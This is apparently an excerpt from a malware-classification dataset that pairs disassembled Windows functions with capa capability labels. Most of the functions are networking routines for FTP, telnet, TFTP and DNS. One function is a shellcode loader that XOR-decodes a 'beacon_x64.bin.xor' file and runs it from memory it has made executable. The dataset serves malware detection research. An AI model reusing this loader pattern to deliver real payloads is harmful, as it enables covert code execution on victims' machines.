joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140087990
Capabilities:
Resolve dns

Disassembly:
push rbx
push r12
push r13
push r14
push r15
sub rsp, 0x20
xor r13d, r13d
mov r12, r9
mov qword [r9], r13
mov ebx, r13d
lea r9, [rsp + 0x68]
mov r15d, r13d
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov r14d, eax
test eax, eax
jne 0x140087b54
mov qword [rsp + 0x58], rsi
mov rsi, qword [rsp + 0x68]
mov qword [rsp + 0x60], rdi
test rsi, rsi
je 0x140087b34
mov qword [rsp + 0x50], rbp
mov eax, dword [rsi + 4]
cmp eax, 2
jne 0x1400879ed
lea ebp, [rax + 0xe]
jmp 0x1400879f9
cmp eax, 0x17
jne 0x140087aa1
lea ebp, [rax + 5]
cmp qword [rsi + 0x20], r13
je 0x140087aa1
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x140087aa1
cmp rax, rbp
jb 0x140087aa1
mov ecx, Ordinal_50
call qword [0x1400de020]
mov rdi, rax
test rax, rax
je 0x140087adc
mov ecx, dword [rsi]
mov dword [rax], ecx
mov ecx, dword [rsi + 4]
mov dword [rax + 4], ecx
mov ecx, dword [rsi + 8]
mov dword [rax + 8], ecx
mov ecx, dword [rsi + 0xc]
mov dword [rax + 0xc], ecx
mov rcx, rbp
mov dword [rax + 0x10], ebp
mov qword [rax + 0x20], r13
mov qword [rax + 0x18], r13
mov qword [rax + 0x28], r13
call qword [0x1400de020]
mov qword [rdi + 0x20], rax
test rax, rax
je 0x140087acb
mov rdx, qword [rsi + 0x20]
mov r8, rbp
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rsi + 0x18]
test rcx, rcx
je 0x140087a8e
call qword [case.0x14006ab39.0]
mov qword [rdi + 0x18], rax
test rax, rax
je 0x140087ab0
test rbx, rbx
cmove rbx, rdi
test r15, r15
je 0x140087a9e
mov qword [r15 + 0x28], rdi
mov r15, rdi
mov rsi, qword [rsi + 0x28]
test rsi, rsi
jne 0x1400879e0
jmp 0x140087ae2
mov rcx, qword [rdi + 0x20]
mov r14d, 8
call qword [fcn.1400af556]
mov rcx, rdi
call qword [fcn.1400af556]
jmp 0x140087ae2
mov rcx, rdi
mov r14d, 8
call qword [fcn.1400af556]
jmp 0x140087ae2
mov r14d, 8
mov rcx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x50]
test rcx, rcx
je 0x140087af7
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
test r14d, r14d
je 0x140087b2f
test rbx, rbx
je 0x140087b2a
mov rcx, qword [rbx + 0x20]
call qword [fcn.1400af556]
mov rcx, qword [rbx + 0x18]
call qword [fcn.1400af556]
mov rdi, qword [rbx + 0x28]
mov rcx, rbx
call qword [fcn.1400af556]
mov rbx, rdi
test rdi, rdi
jne 0x140087b01
mov rbx, r13
jmp 0x140087b43
test rbx, rbx
jne 0x140087b43
mov r14d, 0x2af9
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov rdi, qword [rsp + 0x60]
mov eax, r14d
mov rsi, qword [rsp + 0x58]
mov qword [r12], rbx
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rbx
ret

Function at 0x140088010
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
mov r9, rdx
mov r8, rcx
mov qword [rsp + 0x28], rbx
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
cmovbe rbx, rax
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x14008b200
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rcx
mov ebx, 1
mov edx, ebx
xor ecx, ecx
xor ebp, ebp
call qword [0x1400de030]
mov rdi, rax
test rax, rax
je 0x14008b27d
nop word [rax + rax]
mov r8d, ebx
mov rdx, rdi
mov rcx, r14
mov rbp, rdi
mov esi, ebx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ebx, eax
test eax, eax
je 0x14008b2a8
cmp ebx, esi
je 0x14008b2a8
cmp ebx, 0x8000
ja 0x14008b2a8
cmp ebx, esi
jb 0x14008b2a3
mov edx, ebx
mov rcx, rdi
call qword [0x1400de030]
mov rdi, rax
test rax, rax
jne 0x14008b240
mov rcx, rbp
call qword [fcn.1400af556]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov rax, rdi
jmp 0x14008b288
mov rcx, rdi
jmp 0x14008b280

Function at 0x140091680
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0xc0
mov rax, qword [0x1400de088]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rbp, qword [rcx + 0x4c8]
lea r8, [rsp + 0x20]
mov rsi, qword [rcx]
lea rdx, [rsp + 0x30]
mov rdi, rcx
mov dword [rsp + 0x20], 0x80
mov rcx, rbp
mov rbx, 0xffffffffffffffff
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x1400916fa
lea r8, [rsp + 0x20]
mov dword [rsp + 0x20], 0x80
lea rdx, [rsp + 0x30]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_accept]
mov rbx, rax
mov rdx, rbp
mov rcx, rdi
call fcn.140076500
mov rcx, rsi
cmp rbx, 0xffffffffffffffff
jne 0x14009171f
lea rdx, str.Error_accept__ing_server_connect
call fcn.1400758a0
lea eax, [rbx + 0x1f]
jmp 0x140091798
lea rdx, str.Connection_accepted_from_server_n
call fcn.140075a20
mov edx, 1
mov byte [rdi + 0x660], 0
mov rcx, rbx
mov qword [rdi + 0x4c8], rbx
call fcn.140083f50
mov byte [rdi + 0xb2c], 1
cmp qword [rsi + 0x728], 0
je 0x140091796
mov dl, 1
mov rcx, rsi
call fcn.1400662f0
mov rcx, qword [rsi + 0x730]
mov r8d, 1
mov rdx, rbx
call qword [rsi + 0x728]
xor edx, edx
mov rcx, rsi
mov ebx, eax
call fcn.1400662f0
test ebx, ebx
je 0x140091796
mov rcx, rdi
call fcn.140091cb0
mov eax, Ordinal_45
jmp 0x140091798
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.1400aea40
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x140092790
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
add rcx, 0xa00
cmp byte [rax + 0xf09], 0
jne 0x1400927b5
cmp dword [rax + 0x9f8], 0
je 0x1400927e1
mov r8, qword [rcx + 0x88]
test r8, r8
je 0x1400927e1
lea rdx, str.MDTM__s
call fcn.1400a97e0
test eax, eax
jne 0x1400927ee
mov dword [rbx + 0xab8], 0x12
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.140093620
add rsp, 0x20
pop rbx
ret
Function at 0x140092fa0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x1e0]
cmp dword [rax + 0x10], 0
je 0x140092fd8
mov r8d, reloc.WS2_32.dll_listen
mov dword [rbx + 0xab8], 0xd
mov dl, 1
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.1400930f0
cmp byte [rcx + 0xf0e], 0
je 0x140092ff0
xor edx, edx
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.140093ae0
cmp byte [rcx + 0xf11], 0
je 0x140093091
mov r8, qword [rbx + 0xa88]
test r8, r8
jne 0x14009304b
mov r8, qword [rcx + 0xc08]
test r8, r8
jne 0x14009302e
cmp byte [rcx + 0xf0d], 0
lea rax, str.NLST
lea r8, str.LIST
cmovne r8, rax
lea rcx, [rbx + 0xa00]
lea rdx, str.PRET__s
call fcn.1400a97e0
test eax, eax
je 0x140093081
add rsp, 0x20
pop rbx
ret
cmp byte [rcx + 0xf1d], 0
lea rcx, [rbx + 0xa00]
je 0x140093071
lea rdx, str.PRET_STOR__s
call fcn.1400a97e0
test eax, eax
je 0x140093081
add rsp, 0x20
pop rbx
ret
lea rdx, str.PRET_RETR__s
call fcn.1400a97e0
test eax, eax
jne 0x14009309e
mov dword [rbx + 0xab8], 0x1d
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.140093a50
add rsp, 0x20
pop rbx
ret

Function at 0x1400933e0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 0
je 0x14009342d
cmp qword [rcx + 0xa88], 0
je 0x14009342d
add rcx, 0xa00
lea rdx, str.REST__d
xor r8d, r8d
call fcn.1400a97e0
test eax, eax
jne 0x140093437
mov dword [rbx + 0xab8], 0x1a
add rsp, 0x20
pop rbx
ret
add rsp, 0x20
pop rbx
jmp fcn.140092fa0
add rsp, 0x20
pop rbx
ret

Function at 0x1400935c0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
add rcx, 0xa00
mov rax, qword [rbx]
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 1
jne 0x14009360c
mov r8, qword [rcx + 0x88]
test r8, r8
je 0x14009360c
lea rdx, str.SIZE__s
call fcn.1400a97e0
test eax, eax
jne 0x140093619
mov dword [rbx + 0xab8], 0x17
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.1400933e0
add rsp, 0x20
pop rbx
ret

Function at 0x140093620
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov r9, qword [rcx]
cmp byte [r9 + 0xf1c], 0
je 0x140093678
cmp qword [rcx + 0xa88], 0
je 0x140093678
cmp byte [r9 + 0xf0b], 0
mov eax, 0x41
mov edx, 0x49
cmovne edx, eax
movsx eax, byte [rcx + 0xaa8]
cmp eax, edx
je 0x140093678
mov rax, qword [r9 + 0x1e0]
mov r8d, reloc.WS2_32.dll_send
mov dword [rax + 0x10], 1
movzx edx, byte [r9 + 0xf0b]
jmp fcn.140091ec0
jmp fcn.1400935c0
Function at 0x140093680
Capabilities:
Check http status code

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x30
xor ebx, ebx
lea eax, [rdx - 0xc8]
mov rdi, rcx
mov rcx, qword [rcx]
mov esi, r8d
cmp eax, 0x64
jb 0x1400936b5
lea rdx, str.Couldnt_set_desired_mode
call fcn.1400758a0
lea eax, [rbx + 0x11]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
cmp edx, 0xc8
je 0x1400936cc
mov r8d, edx
lea rdx, str.Got_a__03d_response_code_instead_of_the_assumed_200_n
call fcn.140075a20
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], r14
cmp esi, 0x13
jne 0x1400936e8
mov rcx, rdi
call fcn.1400935c0
jmp 0x14009381f
cmp esi, 0x14
jne 0x140093801
mov rsi, qword [rdi]
mov rbp, rbx
cmp dword [rsi + 0xba0], 2
jne 0x140093769
mov rax, qword [rsi + 0x1e0]
mov rdx, qword [rax]
test rdx, rdx
je 0x140093769
mov byte [rsp + 0x28], 1
lea r9, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov rcx, rsi
mov qword [rsp + 0x50], rbx
call fcn.14005f000
test eax, eax
jne 0x14009381f
mov rcx, qword [rsp + 0x50]
lea edx, [rax + 0x2f]
call sub.VCRUNTIME140.dll_strrchr
test rax, rax
je 0x14009375e
mov rbp, qword [rsp + 0x50]
mov ecx, 1
sub rax, rbp
cmovne rcx, rax
mov byte [rcx + rbp], bl
jmp 0x140093769
mov rcx, qword [rsp + 0x50]
call qword [fcn.1400af556]
mov rdx, qword [rsi + 0xc08]
test rdx, rdx
jne 0x14009378d
cmp byte [rsi + 0xf0d], bl
lea rax, str.NLST
lea rdx, str.LIST
cmovne rdx, rax
lea r8, [0x1400c18ea]
test rbp, rbp
mov r9, r8
lea rax, [0x1400caf1c]
cmovne r9, rbp
lea rcx, [0x1400b7350]
cmovne r8, rax
call fcn.140064220
mov rcx, rbp
mov r14, rax
call qword [fcn.1400af556]
test r14, r14
jne 0x1400937cc
lea ebx, [r14 + 0x1b]
jmp 0x140093821
lea rcx, [rdi + 0xa00]
mov r8, r14
lea rdx, [0x1400c6194]
call fcn.1400a97e0
mov rcx, r14
mov esi, eax
call qword [fcn.1400af556]
test esi, esi
je 0x1400937f5
mov ebx, esi
jmp 0x140093821
mov dword [rdi + 0xab8], 0x1f
jmp 0x140093821
cmp esi, 0x15
jne 0x14009380c
lea r8d, [rsi - 8]
jmp 0x140093815
cmp esi, 0x16
jne 0x140093821
lea r8d, [rsi - 8]
mov dl, 1
mov rcx, rdi
call fcn.1400930f0
mov ebx, eax
mov r14, qword [rsp + 0x60]
mov eax, ebx
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
Function at 0x140099110
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
cmp byte [rcx + 0xf1e], 0
movsxd r10, r9d
je 0x140099234
cmp r8d, 0xff
jne 0x140099171
lea eax, [r10 - 0xec]
cmp eax, 0x13
ja 0x14009915b
lea r8, [0x140000000]
mov r9, qword [r8 + r10*8 + 0xbd670]
mov r8, rdx
lea rdx, str._s_IAC__s_n
add rsp, 0x38
jmp fcn.140075a20
mov r8, rdx
mov r9d, r10d
lea rdx, str._s_IAC__d_n
add rsp, 0x38
jmp fcn.140075a20
cmp r8d, 0xfb
jne 0x140099183
lea r9, str.WILL
jmp 0x1400991c1
cmp r8d, 0xfc
jne 0x140099195
lea r9, str.WONT
jmp 0x1400991c1
cmp r8d, 0xfd
jne 0x1400991a7
lea r9, [0x1400be094]
jmp 0x1400991c1
xor r9d, r9d
lea rax, str.DONT
cmp r8d, 0xfe
cmove r9, rax
test r9, r9
je 0x14009921d
cmp r10d, 0x27
jg 0x1400991f4
lea r8, [0x140000000]
mov r8, qword [r8 + r10*8 + 0xbdc90]
test r8, r8
jne 0x140099204
mov r8, rdx
mov dword [rsp + 0x20], r10d
lea rdx, str._s__s__d_n
call fcn.140075a20
add rsp, 0x38
ret
cmp r10d, 0xff
jne 0x1400991db
lea r8, str.EXOPL
mov qword [rsp + 0x20], r8
mov r8, rdx
lea rdx, str._s__s__s_n
call fcn.140075a20
add rsp, 0x38
ret
mov r9d, r8d
mov dword [rsp + 0x20], r10d
mov r8, rdx
lea rdx, str._s__d__d_n
call fcn.140075a20
add rsp, 0x38
ret

Function at 0x140099580
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, qword [rcx]
mov edi, r8d
mov esi, edx
mov byte [rax + 0x10], 0xff
xor r9d, r9d
mov byte [rax + 0x11], sil
mov rbx, rcx
mov byte [rax + 0x12], dil
mov rcx, qword [rcx + 0x4c0]
lea rdx, [rax + 0x10]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400995df
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400758a0
mov rcx, qword [rbx]
lea rdx, str.SENT
mov r9d, edi
mov r8d, esi
call fcn.140099110
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x140099790
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x140099938
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x1400997f5
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x1400997f5
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x1400997f5
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x14009982c
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x140099882
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140099882
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140099882
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140099882
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140099882
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.140099240
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x1400998e4
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400758a0
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.140099610
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x140099930
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400758a0
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x14009b0a0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x1400de088]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x14009b135
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x14009b196
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.1400758a0
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400aea40
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x14009b251
sub ecx, 1
je 0x14009b2c4
sub ecx, 1
je 0x14009b200
cmp ecx, 1
je 0x14009b1e3
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x1400c6194]
call fcn.1400758a0
jmp 0x14009b2c4
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.14009add0
test eax, eax
je 0x14009b2c4
jmp 0x14009b16a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x14009b2c4
sub rax, rsi
cmp rax, rbp
jae 0x14009b2c4
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.140075a20
jmp 0x14009b2c4
cmp r8d, 4
jle 0x14009b2c4
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x14009b2c4
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.1400757c0
mov esi, eax
test eax, eax
je 0x14009b2a3
mov edx, 5
mov rcx, rbx
call fcn.14009bd90
mov eax, esi
jmp 0x14009b16a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.1400841c0
mov rcx, r14
call fcn.1400844a0
test eax, eax
je 0x14009b168
mov edx, 5
mov rcx, rbx
call fcn.14009bd90
mov eax, Ordinal_45
jmp 0x14009b16a
Function at 0x1400ae060
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [0x1400de020]
mov rdi, rax
test rax, rax
jne 0x1400ae0a2
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400ae0e9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400ae142
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400ae100
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400ae183
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400c1222]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400c1223]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400ae150
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400af148
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400af192
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400af192
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400af192
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400af192
cmp dword [rcx + 0x84], 0xe
jbe 0x1400af192
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400af194
xor al, al
add rsp, 0x28
ret
Function at 0x180001330
Capabilities:
Encode data using xor
Get file size
Read file on windows
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x60
mov rax, qword [0x18004e008]
xor rax, rsp
mov qword [rsp + 0x50], rax
xor edi, edi
lea rcx, str.beacon_x64.bin.xor
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [rdi + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rcx, rax
xor edx, edx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov esi, eax
call fcn.180008e30
xor r9d, r9d
mov qword [rsp + 0x20], rdi
mov r8d, esi
mov rdx, rax
mov rcx, rbx
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [rsp + 0x40], 0x6a6b4752
mov word [rsp + 0x44], 0x3234
mov byte [rsp + 0x46], 0x7b
test esi, esi
je 0x180001413
mov r8, rbp
movabs r9, 0x2492492492492493
nop
movsxd rcx, edi
lea r8, [r8 + 1]
mov rax, r9
inc edi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x40]
xor byte [r8 - 1], al
cmp edi, esi
jb 0x1800013e0
mov r9d, 4
mov r8d, 0x1000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rsi
mov rdx, rbp
mov rcx, rax
mov rbx, rax
call fcn.1800042f0
lea r9, [rsp + 0x48]
mov r8d, 0x20
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x180001480
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
cmp edx, 1
jne 0x1800014d4
mov r8d, 0x104
lea rdx, [0x180050310]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor r9d, r9d
lea rdx, [0x180050310]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rdx, str.rundll32.exe
lea rcx, [0x180050310]
call fcn.180002c80
test rax, rax
je 0x1800014d4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, 1
add rsp, 0x28
ret

Function at 0x1800059f0
Capabilities:
Get thread local storage value

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.1800054d0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x180005a2f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x18003a2a0]
jmp 0x180005a39
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret

Function at 0x1800268a0
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret